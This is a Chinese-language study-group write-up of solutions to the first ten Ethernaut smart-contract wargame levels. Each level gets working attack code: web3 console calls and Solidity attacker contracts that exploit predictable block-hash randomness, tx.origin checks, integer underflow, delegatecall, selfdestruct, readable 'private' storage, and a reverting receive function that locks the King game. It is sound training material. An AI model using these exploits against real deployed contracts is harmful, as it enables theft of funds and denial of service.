---
# System prepended metadata

title: 第三次讀書會實作練習 - Ethernaut前十題
tags: [KryptoCamp 第 3 次讀書會實作練習]

---

# 第三次讀書會實作練習 - Ethernaut前十題

#### 1. Hello Ethernaut
```solidity=
ethernaut0
```

基本上就是跟著ABI裡有的Name輸入看看就能解開

#### 2. Fallback
```solidity=
// 透過ABI中的簽名，以16進制Calldata形式傳錢呼叫contribute
await contract.sendTransaction({from :'0xb0Bcfde547E15c48fEFEEd2Cc021F030dE4f317E',to:'0x44A061C682467BF11Fe52ca0D9dEa6ac39b6e17C',value:'100000000000000',data: '0xd7bb99ba'})

// 單純轉帳進入合約，觸發receive() function
await contract.sendTransaction({from :'0xb0Bcfde547E15c48fEFEEd2Cc021F030dE4f317E',to:'0x44A061C682467BF11Fe52ca0D9dEa6ac39b6e17C',value:'100000000000000'})

//條件滿足成為owner，看一下owner是否正確
await contract.owner() 

//將錢轉入owner account達成條件
await contract.withdraw();
```
這題超級有趣的，
中間想了一下到底要怎麼傳eth進入contribute function，
後來突然想到之前玩Free Mint NFT 時，
曾透過轉帳時的Calldata傳16進制的 "mint" 簽名去搶NFT，
於是就看了ABI中contribute的signature: "0xd7bb99ba"，
以sendTransaction方式傳值過去

#### 3. Fallout
```solidity=
//Call Fal1out function 即可，因owner = msg.sender;
await contract.Fal1out()

//條件滿足成為owner，看一下owner是否正確
await contract.owner() 
```
不知道在幹嘛，毫無難度

#### 4. Coin Flip
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;

interface CoinFlip{
    function flip(bool _guess) external returns (bool);
}

contract CoinFlipGuess{
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    function main(address argentAddress) public
    {
        CoinFlip fliphack = CoinFlip(argentAddress);
        bool getAnswer = true;
        getAnswer = flipHacker();
        fliphack.flip(getAnswer);
    }


    function flipHacker() public returns (bool answer)
    {
        uint256 blockValue = uint256(blockhash(block.number - 1));
        if (lastHash == blockValue) {
            revert();
        }
        lastHash = blockValue;
        uint256 coinFlip = blockValue / FACTOR;
        if (coinFlip == 1){
            return true;
        }        
        else{
            return false;
        }
    }
}
```
這題開始需要透過外部合約跟ethernuat的合約做交互方可破解
由於其合約並無限制Onlyowner才可Call Flip Function
且ethernuat使用block.number生成偽隨機數 非常好預測
故可以透過flipHacker Function先取得該區塊之隨機數
就能百發百中怎麼猜怎麼中

#### 5. Telephone
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

interface ITelephone {
    function changeOwner(address _owner) external;
}

contract ContractChangeOwner{
    address public argentAddress;
    
    constructor(address _argentAddress) public{
        argentAddress = _argentAddress;
    }

    function claim() public
    {
        ITelephone useTelephone = ITelephone(argentAddress);
        useTelephone.changeOwner(msg.sender);
    }
}
```
因為tx.origin != msg.sender 
所以只要tx.origin 和 msg.sender為不同人
則可更改其owner
而要達成以上條件 可以使用智能合約去呼叫原合約
因 tx.origin 必須為EOA
而 msg.sender 可以為CA
故會產生tx.origin為EOA(個人地址)、msg.sender為CA(合約地址)
的狀況

#### 6. Token
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Itoken{
    function transfer(address _to, uint _value) external returns (bool);
}

contract transferToken{
    address argentAddress;

    constructor(address _argentAddress){
        argentAddress = _argentAddress;
    }

    function transferTokento(address _to,uint _value) public {
        Itoken It = Itoken(argentAddress);
        It.transfer(_to,_value);
    }
}

```
本題`require(balances[msg.sender] - _value >= 0);`可以被攻擊
由於使用Uint無號數所以`balances[msg.sender] – _value`永遠不會少於零
直接利用合約去轉帳
輸入一個大於20的數值故意觸發溢位即可


#### 7. Delegation
```javascript=
sig = await web3.eth.abi.encodeFunctionSignature("pwn()")
await contract.sendTransaction({from:player, data:sig})
```
本題所用到的Delegatecall這種Low Level Call我是真得沒學過
特別去研究了一下並做成了筆記
https://hackmd.io/@CharmingFish0420/S1l3ugJdo
轉帳觸發Fallback函數
裡面可以透過delegatecall去傳遞msg.data
而在 Delegation 合約執行 pwn function
將會把Delegate的合約存儲複製進 Delagation
而 msg.sender 會採用呼叫者的資料，也就是我們(player)，所以只要能在 web console 執行交易即可


#### 8. Force
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract transferDeadMoney{

    address payable argentAddress;
    constructor(address payable _argentAddress){
        argentAddress = _argentAddress;
    }
    function selfDestructFunc() public payable{
        selfdestruct(argentAddress);
    }
}
```
本題所用到的selfdestruct也是我極少數使用的Function
曾經練習過也看過這個Function但一直不知道合約死後的金額
可以利用這個方式強制轉帳給某個地址
所以這題就可以創造一個自殺合約故意將金額轉進某帳號裡了

#### 9. Vault
```javascript=
await web3.eth.getStorageAt("0xaCdeF19A15e1b1D5eaACFdC46B345cdb8C8a44FF", 1)
.then(web3.utils.hexToAscii)
//'A very strong secret password :)'
//提交contract.unlock("0x412076657279207374726f6e67207365637265742070617373776f7264203a29");


```

看到這題時可以馬上聯想到Private其實根本不是隱私的
超容易從外部調用就拿的到，它的隱私只限定於合約間、合約中
而web3.eth.getStorageAt()方法可返回一個以太坊地址的指定位置存儲內容。
輸入後會返回hex值，再利用hexToAscii即可破解密碼


#### 10. King
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Hackking{

    address payable argentAddress;
    constructor (address payable _argentAddress)payable {
        argentAddress = _argentAddress;
    }

    function hackcall()public payable{
        (bool success,) = argentAddress.call{value: 1 ether, gas: 100000}("");
        if(!success){
            revert();
        }
    }

    receive () external payable{
        revert();
    }
}
```
主要解題技巧是在我方利用合約轉錢進去當KING後
提交實例後，讓payable(king).transfer(msg.value)觸發Revert
則合約後續之king = msg.sender、prize = msg.value; 皆無法執行
轉錢過去實例的合約地址成為永遠的KING
實際方法我這邊是使用 receive () external payable{revert();}
讓他換新KING時payable(king).transfer(msg.value)轉錢無法順利執行



###### tags: `KryptoCamp 第 3 次讀書會實作練習`